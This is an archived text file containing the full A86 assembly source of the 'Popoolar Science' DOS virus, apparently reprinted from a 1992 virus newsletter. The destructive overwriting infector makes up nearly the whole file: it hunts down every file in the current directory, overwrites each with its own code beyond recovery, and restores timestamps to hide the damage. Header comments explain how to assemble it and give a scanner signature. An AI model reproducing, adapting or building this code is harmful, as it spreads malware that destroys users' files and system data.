home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 2 / HACKER2.BIN / 289.POPSCI.A86 < prev    next >
Text File  |  1992-12-29  |  4KB  |  123 lines

  1. ;Popoolar Science virus - a very simple overwriting infector
  2. ;published in Crypt Newsletter 11, Dec. 1992. Edited by Urnst Kouch
  3. ;
  4. ;Popoolar Science is an indiscriminate, primitive over-writing
  5. ;virus which will attack all files in the current directory.
  6. ;Data overwritten by the virus is unrecoverable. Programs overwritten
  7. ;by Popoolar Science are infectious if their size does not exceed the
  8. ;64k boundary for .COM programs. .EXE's larger than this will not
  9. ;spread the virus; DOS will issue an "out of memory" message when the
  10. ;ruined program is loaded. Ruined programs of any type can only be erased
  11. ;from the disk to curb infection.  
  12. ;
  13. ;If Popoolar Science is called into the root directory, the system files
  14. ;will be destroyed, resulting in a machine hang on start-up.
  15. ;
  16. ;Popoolar Science does not look for a ident-marker in infected files - it 
  17. ;merely overwrites all files in the current directory repeatedly. Indeed,
  18. ;there seems no need for a self-recognition routine in such a simple 
  19. ;program of limited aims. 
  20. ;
  21. ;
  22. ;Popoolar Science will assemble directly to a .COMfile using Isaacson's
  23. ;A86 assembler. Use of a MASM/TASM compatible assembler will require
  24. ;addition of a set of declarative statements.
  25. ;
  26. ;Virus signature suitable for loading into VIRSCAN.DAT files of TBScan,
  27. ;McAfee's SCAN and/or F-PROT 2.0x:
  28. ;[POP]
  29. ;DE B8 01 43 33 C9 8D 54 1E CD 21 B8 02 3D CD 21    
  30.  
  31. nosewheel:
  32.  
  33.  
  34.         jmp     virubegin              ; get going
  35.  
  36. virubegin:      push    cs
  37.         pop     ds
  38.         mov     dx,offset msg           
  39.         mov     ah,09h                 ; Display subscription 
  40.         int     21h                    ; endorsement for Popular
  41.                            ; Science magazine.
  42.  
  43.        
  44.         mov     dx,offset file_mask     ; load filemask for "*.*"
  45.         call    find_n_infect          ; infect a file, no need for
  46.                         ; an error routine - if no
  47.                         ; files found, virus will
  48.                         ; rewrite itself.
  49.         mov     ax,04C00h               ; exit to DOS 
  50.         int     021h
  51.  
  52.  
  53. find_n_infect:
  54.         push    bp                      
  55.  
  56.         mov     ah,02Fh                 ; get DTA 
  57.         int     021h
  58.         push    bx                      ; Save old DTA 
  59.  
  60.         mov     bp,sp                   ; BP points to local buffer
  61.         sub     sp,128                  ; Allocate 128 bytes on stack
  62.  
  63.         push    dx                      ; Save filemask
  64.         mov     ah,01Ah                 ; DOS set DTA function
  65.         lea     dx,[bp - 128]           ; DX points to buffer
  66.         int     021h
  67.  
  68.         mov     ah,04Eh                 ; search for first host file 
  69.         mov     cx,00100111b            ; CX holds all attributes
  70.         pop     dx                      ; Restore file mask
  71. findfilez:      int     021h
  72.         jc      reset               ; reset DTA and get ready to exit
  73.         call    write2file              ; Infect file!
  74.         mov     ah,04Fh                  
  75.         jmp     short findfilez         ; find another host file
  76.  
  77. reset:          mov     sp,bp                   
  78.         mov     ah,01Ah                 
  79.         pop     dx                      ; Retrieve old DTA address
  80.         int     021h
  81.  
  82.         pop     bp                      
  83.         ret                              
  84.  
  85.  
  86. write2file:           ; subroutine, writes virus over beginning of all files
  87.         mov     ah,02Fh                 ; DOS get DTA address function
  88.         int     021h
  89.         mov     si,bx                   
  90.  
  91.  
  92.         mov     ax,04301h               ; set file attributes
  93.         xor     cx,cx                   
  94.         lea     dx,[si + 01Eh]          ; DX points to target handle
  95.         int     021h
  96.  
  97.         mov     ax,03D02h               ; open file, read/write
  98.         int     021h                    ; do it!
  99.         xchg    bx,ax                   ; put handle in BX
  100.  
  101.         mov     ah,040h            ; write to file, start at beginning 
  102.         mov     cx,tailhook - nosewheel  ; CX = virus length
  103.         mov     dx,offset nosewheel     ; DX points to start of virus
  104.         int     021h                    ; do it now!
  105.  
  106.         mov     ax,05701h               
  107.         mov     cx,[si + 016h]          ; CX holds old file time
  108.         mov     dx,[si + 018h]          ; DX holds old file date
  109.         int     021h                    ; restore them
  110.  
  111.         mov     ah,3Eh                  ; close file 
  112.         int     021h
  113.  
  114.  
  115. exit:                                           ; exit, dummeh!
  116.         ret                              
  117.  
  118. file_mask        db   "*.*",0               ; Filemask for all files
  119. msg              db   'PopooLar ScIencE RoolZ!$'  ;Popular Science mag message
  120.  
  121. tailhook:
  122.  
  123.